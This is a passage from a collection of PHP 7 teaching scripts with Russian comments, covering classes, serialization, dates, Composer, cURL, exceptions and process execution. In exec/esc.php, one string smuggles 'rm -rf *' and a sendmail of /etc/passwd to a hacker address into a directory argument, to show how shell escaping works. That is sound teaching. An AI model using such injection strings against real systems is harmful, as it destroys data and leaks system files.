1 | <?php ## Использование конструктора.
2 |   require_once "Math/Complex2.php";
3 |   $a = new MathComplex2(314, 101);
4 |   $a->add(new MathComplex2(303, 6));
5 |   echo $a;
6 | ?>


--------------------------------------------------------------------------------
/classes/defined.php:
--------------------------------------------------------------------------------
1 | <?php ## Проверка существования констант класса.
2 |   require_once("const.php");
3 | 
4 |   if(defined("cls::NAME")) echo "Константа определена<br />"; // true
5 |   else echo "Константа не определена<br />";
6 | 
7 |   if(defined("cls::POSITION")) echo "Константа определена<br />"; // false
8 |   else echo "Константа не определена<br />";
9 | ?>


--------------------------------------------------------------------------------
/classes/destr.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование класса с деструктором.
 2 |   require_once "File/Logger.php";
 3 |   for ($n = 0; $n < 10; $n++) {
 4 |     $logger = new FileLogger("test$n", "test.log");
 5 |     $logger->log("Hello!");
 6 |     // Теперь нет необходимости заботиться о корректном 
 7 |     // уничтожении объекта - PHP делает все сам!
 8 |   }
 9 |   exit();
10 | ?>


--------------------------------------------------------------------------------
/classes/destr0.php:
--------------------------------------------------------------------------------
 1 | <?php ## Явное освобождение ресурсов.
 2 |   require_once "File/Logger0.php";
 3 |   // Создаем в цикле много объектов FileLogger0.
 4 |   for ($n = 0; $n < 10; $n++) {
 5 |     $logger = new FileLogger0("test$n", "test.log");
 6 |     $logger->log("Hello!");
 7 |     // Представим, что мы случайно забыли вызвать close().
 8 |     // $logger->close();
 9 |   }
10 | ?>


--------------------------------------------------------------------------------
/classes/oldcons.php:
--------------------------------------------------------------------------------
1 | <?php ## Старый способ задания конструкторов.
2 |   class Test
3 |   {
4 |     function Test($msg) { echo "Вызван конструктор: $msg"; }
5 |   }
6 |   $obj = new Test("hello");
7 | ?>


--------------------------------------------------------------------------------
/classes/serialize.php:
--------------------------------------------------------------------------------
 1 | <?php ## Серилизация объекта $obj класса cls
 2 |   // Подключаем определение класса cls
 3 |   require_once("cls.php");
 4 | 
 5 |   // Создаем объект
 6 |   $obj = new cls(100);
 7 | 
 8 |   // Серилизуем объект
 9 |   $text = serialize($obj);
10 | 
11 |   // Сохраняем объект в файл
12 |   $fd = fopen("text.obj", "w");
13 |   if(!$fd) exit("Невозможно открыть файл");
14 |   fwrite($fd, $text);
15 |   fclose($fd);
16 | ?>


--------------------------------------------------------------------------------
/classes/text.obj:
--------------------------------------------------------------------------------
1 | O:3:"cls":1:{s:3:"var";i:100;}


--------------------------------------------------------------------------------
/classes/tostring.php:
--------------------------------------------------------------------------------
1 | <?php ## Перегрузка интерполяции.
2 |   require_once "Math/Complex1.php";
3 |   $a = new MathComplex1;
4 |   $a->re = 314;
5 |   $a->im = 101;
6 |   echo "Значение: $a";
7 | ?>
8 | 


--------------------------------------------------------------------------------
/classes/unserialize.php:
--------------------------------------------------------------------------------
 1 | <?php ## Восстановление объекта из строки
 2 |   // Подключаем определение класса cls
 3 |   require_once("cls.php");
 4 | 
 5 |   // Извлекаем серилизованный объект из файла
 6 |   $fd = fopen("text.obj", "r");
 7 |   if(!$fd) exit("Невозможно открыть файл");
 8 |   $text = fread($fd, filesize("text.obj"));
 9 |   fclose($fd);
10 | 
11 |   // Восстанавливаем объект
12 |   $obj = unserialize($text);
13 | 
14 |   // Выводим дамп объекта
15 |   echo "<pre>";
16 |   print_r($obj);
17 |   echo "</pre>";
18 | ?>


--------------------------------------------------------------------------------
/classes/user.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование метода __sleep().
 2 |   class user
 3 |   {
 4 |     // Конструктор
 5 |     public function __construct($name, $password)
 6 |     {
 7 |       $this->name     = $name;
 8 |       $this->password = $password;
 9 |       $this->referrer = $_SERVER['PHP_SELF'];
10 |       $this->time     = time();
11 |     }
12 |     public function __sleep()
13 |     {
14 |       $this->password = "";
15 |       return ['name', 'referrer', 'time'];
16 |     }
17 | 
18 |     // Имя пользователя
19 |     public $name;
20 |     // Его пароль
21 |     public $password;
22 |     // Последняя посещенная страница
23 |     public $referrer;
24 |     // Время авторизации пользователя
25 |     public $time;
26 |   }
27 | ?>


--------------------------------------------------------------------------------
/classes/user_serialize.php:
--------------------------------------------------------------------------------
 1 | <?php ## Сериализация объекта класса user
 2 |   // Подключаем сериализацию класса
 3 |   require_once("user.php");
 4 | 
 5 |   // Создаем объект
 6 |   $obj = new user("nick", "password");
 7 | 
 8 |   // Выводим дамп объекта
 9 |   echo "<pre>";
10 |   print_r($obj);
11 |   echo "</pre>";
12 | 
13 |   // Серилизуем объект
14 |   $object = serialize($obj);
15 | 
16 |   // Выводим сериализованный объект
17 |   echo $object;
18 | ?>


--------------------------------------------------------------------------------
/classes/user_unserialize.php:
--------------------------------------------------------------------------------
 1 | <?php ## Восстановление объекта
 2 |   // Подключаем реализацию класса
 3 |   require_once("user.php");
 4 | 
 5 |   // Серилизованный объект
 6 |   $object = 'O:4:"user":3:{s:4:"name";s:4:"nick";'.
 7 |             's:8:"referrer";s:19:"/user_serialize.php";'.
 8 |             's:4:"time";i:1448125787;}';
 9 | 
10 |   // Восстанавливаем объект
11 |   $obj = unserialize($object);
12 | 
13 |   // Выводим дамп объекта
14 |   echo "<pre>";
15 |   print_r($obj);
16 |   echo "</pre>";
17 | ?>
18 | 


--------------------------------------------------------------------------------
/classes_php/closure.php:
--------------------------------------------------------------------------------
 1 | <?php ## Захваченные замыканием переменные хранятся в объекте Closure.
 2 |   $message = "Работа не может быть продолжена из-за ошибок:<br />";
 3 |   $check = function(array $errors) use ($message) {
 4 |     if (isset($errors) && count($errors) > 0) {
 5 |       echo $message;
 6 |       foreach($errors as $error) {
 7 |         echo "$error<br />";
 8 |       }
 9 |     }
10 |   };
11 | 
12 |   echo "<pre>";
13 |   print_r($check);
14 |   echo "</pre>";
15 | ?>


--------------------------------------------------------------------------------
/classes_php/dateinterval.php:
--------------------------------------------------------------------------------
1 | <?php ## Создание интервала DateInterval при помощи конструктора.
2 |   $nowdate = new DateTime();
3 |   $date = $nowdate->sub(new DateInterval("P3Y1M14DT12H19M2S"));
4 |   echo $date->format("Y-m-d H:i:s");
5 | ?>


--------------------------------------------------------------------------------
/classes_php/dateinterval_diff.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование метода diff()
 2 |   $date = new DateTime('2015-01-01 0:0:0');
 3 |   $nowdate = new DateTime();
 4 |   $interval = $nowdate->diff($date);
 5 |   // Выводим результаты
 6 |   echo $date->format("d-m-Y H:i:s")."<br />";
 7 |   echo $nowdate->format("d-m-Y H:i:s")."<br />";
 8 |   // Выводим разницу
 9 |   echo $interval->format("%Y-%m-%d %H:%S")."<br />";
10 |   // Выводим дамп интервала
11 |   echo "<pre>";
12 |   print_r($interval);
13 |   echo "</pre>";
14 | ?>


--------------------------------------------------------------------------------
/classes_php/dateperiod.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование DatePeriod
2 |   $now = new DateTime();
3 |   $step = new DateInterval('P1W');
4 |   $period = new DatePeriod($now, $step, 5);
5 | 
6 |   foreach($period as $datetime) {
7 |     echo $datetime->format("Y-m-d")."<br />";
8 |   }
9 | ?>


--------------------------------------------------------------------------------
/classes_php/datetime.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование DateTime.
2 |   $date = new DateTime();
3 |   echo $date->format("d-m-Y H:i:s"); // 14-11-2015 15:53:52
4 | ?>


--------------------------------------------------------------------------------
/classes_php/datetime_rss.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование констант класса DateTime.
2 |   $date = new DateTime("2016-01-01 00:00:00");
3 |   echo $date->format(DateTime::RSS); // Fri, 01 Jan 2016 00:00:00 +0000
4 | ?>


--------------------------------------------------------------------------------
/classes_php/datetime_set.php:
--------------------------------------------------------------------------------
1 | <?php ## Явная установка даты.
2 |   $date = new DateTime("2016-01-01 00:00:00");
3 |   echo $date->format("d-m-Y H:i:s"); // 01-01-2016 00:00:00
4 | ?>


--------------------------------------------------------------------------------
/classes_php/datetimezone.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование класса DateTimeZone.
2 |   $date = new DateTime("2016-01-01 00:00:00",
3 |                        new DateTimeZone("Europe/Moscow"));
4 |   echo $date->format("d-m-Y H:i:s"); // 01-01-2016 00:00:00
5 | ?>


--------------------------------------------------------------------------------
/classes_php/dir.php:
--------------------------------------------------------------------------------
 1 | <?php ## Чтение содержимого каталога.
 2 |   // Открываем каталог
 3 |   $cat = dir(".");
 4 |   // Читаем содержимое каталога
 5 |   while(($file = $cat->read()) !== false) {
 6 |     echo $file."<br />";
 7 |   }
 8 |   // Закрываем каталог
 9 |   $cat->close();
10 | ?>


--------------------------------------------------------------------------------
/classes_php/dir1.php:
--------------------------------------------------------------------------------
 1 | <?php ## Альтернативный способ чтения содержимого каталога.
 2 |   // Открываем каталог
 3 |   $cat = dir(".");
 4 |   // Читаем содержимое каталога
 5 |   while(($file = readdir($cat->handle)) !== false) {
 6 |     echo $file."<br />";
 7 |   }
 8 |   // Закрываем каталог
 9 |   closedir($cat->handle);
10 | ?>
11 | 


--------------------------------------------------------------------------------
/classes_php/generator.php:
--------------------------------------------------------------------------------
 1 | <?php ## Создание генератора
 2 |   function simple($from = 0, $to = 100) {
 3 |     for($i = $from; $i < $to; $i++) {
 4 |       yield $i;
 5 |     }
 6 |   }
 7 | 
 8 |   foreach(simple(1, 5) as $val)
 9 |     echo ($val * $val)." "; // 1 4 9 16 
10 | ?>


--------------------------------------------------------------------------------
/classes_php/generator_class.php:
--------------------------------------------------------------------------------
 1 | <?php ## Генераторы возвращают объект класса Generator
 2 |   function simple($from = 0, $to = 100)
 3 |   {
 4 |     for($i = $from; $i < $to; $i++) {
 5 |       yield $i;
 6 |     }
 7 |   }
 8 | 
 9 |   $obj = simple(1, 5);
10 |   var_dump($obj); // object(Generator)#1 (0) { } 
11 | ?>


--------------------------------------------------------------------------------
/classes_php/next.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование генератора без foreach
 2 |   function simple($from = 0, $to = 100)
 3 |   {
 4 |     for($i = $from; $i < $to; $i++) {
 5 |       yield $i;
 6 |     }
 7 |   }
 8 | 
 9 |   $obj = simple(1, 5);
10 |   // Выполняем цикл, пока итератор не достигнет конца
11 |   while($obj->valid()) {
12 |     echo ($obj->current() * $obj->current())." ";
13 |     // К следующему элементу
14 |     $obj->next();
15 |   }
16 | ?>


--------------------------------------------------------------------------------
/composer/dir.php:
--------------------------------------------------------------------------------
 1 | <?php ## Постраничная навигация по папке
 2 |   // Временная автозагрузка классов
 3 |   spl_autoload_register(function($class){
 4 |     require_once("pager/src/{$class}.php");
 5 |   });
 6 | 
 7 |   $obj = new ISPager\DirPager(
 8 |     new ISPager\PagesList(),
 9 |     'photos',
10 |     3,
11 |     2);
12 |   // Содержимое текущей страницы
13 |   foreach($obj->getItems() as $img) {
14 |     echo "<img src='$img' /> ";
15 |   }
16 |   // Постраничная навигация
17 |   echo "<p>$obj</p>";
18 | 


--------------------------------------------------------------------------------
/composer/file.php:
--------------------------------------------------------------------------------
 1 | <?php ## Постраничная навигация по файлу
 2 |   // Временная автозагрузка классов
 3 |   spl_autoload_register(function($class){
 4 |     require_once("pager/src/{$class}.php");
 5 |   });
 6 | 
 7 |   $obj = new ISPager\FilePager(
 8 |     new ISPager\PagesList(),
 9 |     '../math/largetextfile.txt');
10 |   // Содержимое текущей страницы
11 |   foreach($obj->getItems() as $line) {
12 |     echo htmlspecialchars($line)."<br /> ";
13 |   }
14 |   // Постраничная навигация
15 |   echo "<p>$obj</p>";
16 | 


--------------------------------------------------------------------------------
/composer/monolog/composer.json:
--------------------------------------------------------------------------------
1 | {
2 |     "require": {
3 |         "monolog/monolog": "1.17.*"
4 |     }
5 | }


--------------------------------------------------------------------------------
/composer/monolog/index.php:
--------------------------------------------------------------------------------
1 | <?php ## Подключение автозагрузчика.
2 |   require_once(__DIR__ . '/vendor/autoload.php');
3 | 
4 |   # Теперь можно использовать компонент Monolog
5 |   $log = new Monolog\Logger('name');
6 |   $handler = new Monolog\Handler\StreamHandler('app.log', Monolog\Logger::WARNING);
7 |   $log->pushHandler($handler);
8 |   $log->addWarning('Предупреждение');
9 | ?>


--------------------------------------------------------------------------------
/composer/pager_use/composer.json:
--------------------------------------------------------------------------------
1 | {
2 |     "require": {
3 |         "igorsimdyanov/pager": "*"
4 |     }
5 | }


--------------------------------------------------------------------------------
/composer/pager_use/index.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование компонента ISPager.
 2 |   require_once(__DIR__ . '/vendor/autoload.php');
 3 | 
 4 |   $obj = new ISPager\FilePager(
 5 |     new ISPager\ItemsRange(),
 6 |     '../../math/largetextfile.txt');
 7 |   // Содержимое текущей страницы
 8 |   foreach($obj->getItems() as $line) {
 9 |     echo htmlspecialchars($line)."<br /> ";
10 |   }
11 |   // Постраничная навигация
12 |   echo "<p>$obj</p>";
13 | 


--------------------------------------------------------------------------------
/composer/phinx/composer.json:
--------------------------------------------------------------------------------
1 | {
2 |     "require": {
3 |         "robmorgan/phinx": "*"
4 |     }
5 | }


--------------------------------------------------------------------------------
/composer/photos/s_20040815135808.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815135808.jpg


--------------------------------------------------------------------------------
/composer/photos/s_20040815135939.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815135939.JPG


--------------------------------------------------------------------------------
/composer/photos/s_20040815140021.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815140021.JPG


--------------------------------------------------------------------------------
/composer/photos/s_20040815140107.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815140107.JPG


--------------------------------------------------------------------------------
/composer/photos/s_20040815140209.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815140209.JPG


--------------------------------------------------------------------------------
/composer/photos/s_20040815140411.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815140411.JPG


--------------------------------------------------------------------------------
/composer/photos/s_20040815140506.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815140506.JPG


--------------------------------------------------------------------------------
/composer/photos/s_20040815140606.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815140606.JPG


--------------------------------------------------------------------------------
/composer/photos/s_20040815140809.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815140809.JPG


--------------------------------------------------------------------------------
/composer/photos/s_20040815141012.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815141012.JPG


--------------------------------------------------------------------------------
/composer/photos/s_20040815141200.JPG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/composer/photos/s_20040815141200.JPG


--------------------------------------------------------------------------------
/composer/psysh/composer.json:
--------------------------------------------------------------------------------
1 | {
2 |     "require": {
3 |         "monolog/monolog": "1.17.*",
4 |         "psy/psysh": "*"
5 |     }
6 | }


--------------------------------------------------------------------------------
/composer/psysh/index.php:
--------------------------------------------------------------------------------
 1 | <?php ## Интерактивный отладчик.
 2 |   require_once(__DIR__ . '/vendor/autoload.php');
 3 | 
 4 |   $log = new Monolog\Logger('name');
 5 |   $handler = new Monolog\Handler\StreamHandler('app.log', Monolog\Logger::WARNING);
 6 |   $log->pushHandler($handler);
 7 | 
 8 |   # Вызываем интерактивный отладчик
 9 |   eval(\Psy\sh());
10 | 
11 |   $log->addWarning('Предупреждение');
12 | ?>


--------------------------------------------------------------------------------
/curl/curl.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование CURL.
2 |   // Задаем адрес удаленного сервера
3 |   $curl = curl_init("http://php.net");
4 |   // Получаем содержимое страницы
5 |   echo curl_exec($curl);
6 |   // Закрываем CURL-соединение
7 |   curl_close($curl);
8 | ?>
9 | 


--------------------------------------------------------------------------------
/curl/form.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Форма</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body> 
 8 |   <form action='handler.php' method='post'>
 9 |   Имя : <input type='text' name='name'><br />
10 |   Пароль : <input type='text' name='pass'><br />
11 |   <input type='submit' value='Отправить'>
12 |   </form>
13 | </body>
14 | </html>


--------------------------------------------------------------------------------
/curl/handler.php:
--------------------------------------------------------------------------------
1 | <?php ## POST-обработчик формы.
2 |   if(!empty($_POST)) {
3 |     echo "Имя - ".htmlspecialchars($_POST['name'])." <br />";
4 |     echo "Пароль - ".htmlspecialchars($_POST['pass'])." <br />";
5 |   }
6 | ?>


--------------------------------------------------------------------------------
/curl/post.php:
--------------------------------------------------------------------------------
 1 | <?php ## Отправка данных методом POST
 2 |   // Задаем адрес удаленного сервера
 3 |   $curl = curl_init("http://localhost/handler.php");
 4 | 
 5 |   // Передача данных осуществляется методом POST
 6 |   curl_setopt($curl, CURLOPT_POST, 1);
 7 |   // Задаем POST-данные
 8 |   $data = "name=".urlencode("Игорь").
 9 |           "&pass=".urlencode("пароль")."\r\n\r\n";
10 |   curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
11 | 
12 |   // Выполняем запрос
13 |   curl_exec($curl);
14 |   // Закрываем CURL соединение
15 |   curl_close($curl);
16 | ?>


--------------------------------------------------------------------------------
/curl/time.php:
--------------------------------------------------------------------------------
1 | <?php ## Обращение к серверу точного времени.
2 |   // Задаем адрес удаленного сервера
3 |   $curl = curl_init("http://wwv.nist.gov:13");
4 |   // Получаем содержимое страницы
5 |   echo curl_exec($curl);
6 |   // Закрываем CURL-соединение
7 |   curl_close($curl);
8 | ?>


--------------------------------------------------------------------------------
/curl/user_agent.php:
--------------------------------------------------------------------------------
 1 | <?php ## Передача пользовательского агента.
 2 |   // Задаем адрес удаленного сервера
 3 |   $curl = curl_init("http://localhost/handler.php");
 4 | 
 5 |   // Устанавливаем реферер
 6 |   $useragent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1";
 7 |   curl_setopt($curl, CURLOPT_USERAGENT, $useragent);
 8 | 
 9 |   // Выполняем запрос
10 |   curl_exec($curl);
11 |   // Закрываем CURL соединение
12 |   curl_close($curl);
13 | ?>


--------------------------------------------------------------------------------
/date/date.php:
--------------------------------------------------------------------------------
1 | <?php ## Вывод дат.
2 |   echo date("l dS of F Y h:i:s A<br />");
3 |   echo date("Сегодня d.m.Y<br />");
4 |   echo date("Этот файл датирован d.m.Y<br />", filectime(__FILE__));
5 | ?>
6 | 


--------------------------------------------------------------------------------
/date/microtime.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование microtime().
2 |   $time = microtime(true);
3 |   printf("С начала эпохи Unix: %f секунд.<br />", $time);
4 |   echo "С начала эпохи Unix: $time секунд.<br />";
5 | ?>


--------------------------------------------------------------------------------
/date/strftime.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование strftime().
2 |   // Активизируем текущую локаль (иначе дата будет на английском).
3 |   setlocale(LC_ALL, 'ru_RU.UTF-8');
4 |   // Выводим 2 предложения.
5 |   echo strftime("%B %Y года, %d число. Был %A, часы показывали %H:%M.");
6 | ?>


--------------------------------------------------------------------------------
/except/er.php:
--------------------------------------------------------------------------------
1 | <?php ## Отключение ошибок: логи не модифицируются.
2 |   error_reporting(E_ALL);
3 |   ini_set("error_log", "log.txt");
4 |   ini_set("log_errors", true);
5 |   @filemtime("spoon");
6 | ?>


--------------------------------------------------------------------------------
/except/error.php:
--------------------------------------------------------------------------------
1 | <?php ## Ошибка использования оператора [].
2 |   try {
3 |     $str = "Hello world!";
4 |     $str[] = 4;
5 |   } catch (Exception $e) {}
6 | ?>


--------------------------------------------------------------------------------
/except/error_catch.php:
--------------------------------------------------------------------------------
1 | <?php ## Ошибка использования оператора [].
2 |   try {
3 |     $str = "Hello world!";
4 |     $str[] = 4;
5 |   } catch (Error $e) {
6 |     echo "Обнаружена ошибка приведения типа";
7 |   }
8 | ?>


--------------------------------------------------------------------------------
/except/finally.php:
--------------------------------------------------------------------------------
 1 | <?php ## Инструкция try во вложенных функциях.
 2 |   function eatThis() { throw new Exception("bang-bang!"); }
 3 |   function hello()
 4 |   {
 5 |     echo "Все, что имеет начало, ";
 6 |     try {
 7 |       eatThis();
 8 |     } finally {
 9 |       echo "имеет и конец.";
10 |     }
11 |     echo "Это никогда не будет напечатано!";
12 |   }
13 |   // Вызываем функцию.
14 |   hello();
15 | ?>


--------------------------------------------------------------------------------
/except/handler0.php:
--------------------------------------------------------------------------------
 1 | <?php ## Перехват ошибок и предупреждений.
 2 |   // Определяем новую функцию-обработчик.
 3 |   function myErrorHandler($errno, $msg, $file, $line)
 4 |   {
 5 |     echo '<div style="border-style:inset; border-width:2">';
 6 |     echo "Произошла ошибка с кодом <b>$errno</b>!<br />"; 
 7 |     echo "Файл: <tt>$file</tt>, строка $line.<br />";
 8 |     echo "Текст ошибки: <i>$msg</i>";    
 9 |     echo "</div>";
10 |   }
11 |   // Регистрируем ее для всех типов ошибок.
12 |   set_error_handler("myErrorHandler", E_ALL);
13 |   // Вызываем функцию для несуществующего файла, чтобы 
14 |   // сгенерировать предупреждение, которое будет перехвачено.
15 |   filemtime("spoon");
16 | ?>
17 | 


--------------------------------------------------------------------------------
/except/iface/interfaces.php:
--------------------------------------------------------------------------------
1 | <?php ## Классификация исключений.
2 |   interface IException {}
3 |     interface IInternalException extends IException {}
4 |       interface IFileException extends IInternalException {}
5 |       interface INetException extends IInternalException {}
6 |     interface IUserException extends IException {}
7 | ?>


--------------------------------------------------------------------------------
/except/iface/test.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование иерархии исключений.
 2 |   require_once "exceptions.php";
 3 |   try {
 4 |     printDocument();
 5 |   } catch (IFileException $e) {
 6 |     // Перехватываем только файловые исключения.
 7 |     echo "Файловая ошибка: {$e->getMessage()}.<br />";
 8 |   } catch (Exception $e) {
 9 |     // Перехват всех остальных исключений.
10 |     echo "Неизвестное исключение: <pre>", $e, "</pre>";
11 |   }
12 |   function printDocument() {
13 |     $printer = "//./printer";
14 |     // Генерируем исключение типов IFileException и INetException.
15 |     if (!file_exists($printer)) 
16 |       throw new NetPrinterWriteException($printer);
17 |   }
18 | ?>


--------------------------------------------------------------------------------
/except/seh.php:
--------------------------------------------------------------------------------
 1 | <?php ## Недостатки set_error_handler().
 2 |   echo "Начало программы.<br />";
 3 |   set_error_handler("handler");
 4 |   {
 5 |     // Код, в котором перехватываются исключения.
 6 |     echo "Все, что имеет начало...<br />";
 7 |     // Генерируем ("выбрасываем") исключение.
 8 |     trigger_error("Hello!");
 9 |     echo "...имеет и конец.<br />";
10 |   }
11 |   echo "Конец программы.<br />";
12 |   // Функция-обработчик.
13 |   function handler($num, $str)
14 |   {
15 |     // Код обработчика.
16 |     echo "Ошибка: $str<br />";
17 |     exit();
18 |   }
19 | ?>


--------------------------------------------------------------------------------
/except/simple.php:
--------------------------------------------------------------------------------
 1 | <?php ## Простой пример использования исключений.
 2 |   echo "Начало программы.<br />";
 3 |   try {
 4 |     // Код, в котором перехватываются исключения.
 5 |     echo "Все, что имеет начало...<br />";
 6 |     // Генерируем ("выбрасываем") исключение.
 7 |     throw new Exception("Hello!");
 8 |     echo "...имеет и конец.<br>";  
 9 |   } catch (Exception $e) {
10 |     // Код обработчика.
11 |     echo " Исключение: {$e->getMessage()}<br />";
12 |   }
13 |   echo "Конец программы.<br />";
14 | ?>
15 | 


--------------------------------------------------------------------------------
/except/stack.php:
--------------------------------------------------------------------------------
 1 | <?php ## Инструкция try во вложенных функциях.
 2 |   echo "Начало программы.<br />";
 3 |   try { 
 4 |     echo "Начало try-блока.<br />";
 5 |     outer(); 
 6 |     echo "Конец try-блока.<br />";  
 7 |   } catch (Exception $e) { 
 8 |     echo " Исключение: {$e->getMessage()}<br />";
 9 |   } 
10 |   echo "Конец программы.<br />";
11 |   function outer() { 
12 |     echo "Вошли в функцию ".__METHOD__."<br />";
13 |     inner(); 
14 |     echo "Вышли из функции ".__METHOD__."<br />";  
15 |   } 
16 |   function inner() { 
17 |     echo "Вошли в функцию ".__METHOD__."<br />";
18 |     throw new Exception("Hello!");
19 |     echo "Вышли из функции ".__METHOD__."<br />";  
20 |   }
21 | ?>


--------------------------------------------------------------------------------
/except/submit.php:
--------------------------------------------------------------------------------
1 | <?php ## Удобство оператора @.
2 |   if (@$_REQUEST['submit']) echo "Кнопка нажата!"
3 | ?>
4 | <form action="<?=$_SERVER['SCRIPT_NAME']?>">
5 | <input type="submit" name="submit" value="Go!">
6 | </form>


--------------------------------------------------------------------------------
/except/tostring.php:
--------------------------------------------------------------------------------
1 | <?php ## Вывод сведений об исключении.
2 |   function test($n)
3 |   {
4 |     $e = new Exception("bang-bang #$n!");
5 |     echo "<pre>", $e, "</pre>";
6 |   }
7 |   function outer() { test(101); }
8 |   outer();
9 | ?>


--------------------------------------------------------------------------------
/except/trace.php:
--------------------------------------------------------------------------------
 1 | <?php ## Вывод дерева вызовов функции.
 2 |   function inner($a)
 3 |   {
 4 |     // Внутренняя функция.
 5 |     echo "<pre>"; print_r(debug_backtrace()); echo "</pre>";
 6 |   }
 7 |   function outer($x)
 8 |   {
 9 |     // Родительская функция.
10 |     inner($x * $x);
11 |   }
12 |   // Главная программа.
13 |   outer(3);
14 | ?>


--------------------------------------------------------------------------------
/except/trigger_error.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование функции trigger_error().
 2 |   function print_age($age)
 3 |   {
 4 |     $age = intval($age);
 5 |     if ($age < 0)
 6 |     {
 7 |       trigger_error("Функция print_age(): ".
 8 |                     "возраст не может быть".
 9 |                     " отрицательным", E_USER_ERROR);
10 |     }
11 |     echo "Возраст составляет: $age";
12 |   }
13 | 
14 |   // Вызов функции с отрицательным аргументом
15 |   print_age(-10);
16 | ?>


--------------------------------------------------------------------------------
/except/w2e_hier.php:
--------------------------------------------------------------------------------
 1 | <?php ## Иерархия ошибок.
 2 |   require_once "PHP/Exceptionizer.php";
 3 |   suffer();
 4 |   function suffer()
 5 |   {
 6 |     $w2e = new PHP_Exceptionizer(E_ALL);
 7 |     try {
 8 |       // Генерируем ошибку.
 9 |       trigger_error("Damn it!", E_USER_ERROR);
10 |     } catch (AboveE_USER_WARNING $e) {
11 |       // Перехват ошибок: E_USER_WARNING и более серьезных.
12 |       echo "<pre><b>Перехвачена ошибка!</b>\n", $e, "</pre>";
13 |     }
14 |   }
15 | ?>


--------------------------------------------------------------------------------
/exec/dead.php:
--------------------------------------------------------------------------------
 1 | <?php ## Пример взаимной блокировки.
 2 |   header("Content-type: text/plain");
 3 |   // Информация о стандартных потоках.
 4 |   $spec = [
 5 |      0 => ["pipe", "r"],  // stdin
 6 |      1 => ["pipe", "w"],  // stdout
 7 |      2 => ["file", "/tmp/error-output.txt", "a"] // stderr
 8 |   ];
 9 |   // Запускаем процесс.
10 |   $proc = proc_open("cat", $spec, $pipes);
11 |   // Дальше можно писать в $pipes[0] и читать из $pipes[1].
12 |   for ($i = 0; $i < 100; $i++) 
13 |     fwrite($pipes[0], "Hello World #$i!\n");
14 |   fclose($pipes[0]);
15 |   while (!feof($pipes[1])) echo fgets($pipes[1], 1024);
16 |   fclose($pipes[1]);
17 |   // Закрываем дескриптор.
18 |   proc_close($proc);
19 | ?>


--------------------------------------------------------------------------------
/exec/esc.php:
--------------------------------------------------------------------------------
1 | <?php ## Экранирование командной строки.
2 |   header("Content-type: text/plain");
3 |   $toDirectory = "~; rm -rf *; sendmail hacker@domain.com </etc/passwd";
4 |   echo "cd $toDirectory\n";
5 |   $a = escapeshellcmd($toDirectory);
6 |   echo "cd $a\n";
7 |   $a = escapeshellarg($toDirectory);
8 |   echo "cd $a\n";
9 | ?>


--------------------------------------------------------------------------------
/exec/popen.php:
--------------------------------------------------------------------------------
 1 | <?php ## Использование функции popen().
 2 |   // Запускаем процесс (параллельно работе сценария) в режиме чтения. 
 3 |   $fp = popen("/usr/sbin/sendmail -t -i", "wb");
 4 |   // Передаем процессу тело письма в стандартный входной поток.
 5 |   fwrite($fp, "From: our script <script@mail.ru>\n");
 6 |   fwrite($fp, "To: someuser@mail.ru\n");
 7 |   fwrite($fp, "Subject: here is myself\n");
 8 |   fwrite($fp, "\n");
 9 |   fwrite($fp, file_get_contents(__FILE__));
10 |   // Не забудем также закрыть канал.
11 |   pclose($fp);
12 | ?>


--------------------------------------------------------------------------------
/expr/bits_pack.php:
--------------------------------------------------------------------------------
 1 | <?php ## Упаковка пяти значений в целое число
 2 |   // Прямоугольник
 3 |   define('RECTANGLE', 2); // 000000000 000000000 000000000 000 10
 4 |   // Зеленый
 5 |   define('GREEN', 8);     // 000000000 000000000 000000000 010 00
 6 |   // Угол на 45 градусов
 7 |   $angle = 45 << 5;       // 000000000 000000000 000101101 000 00
 8 |   // Высота
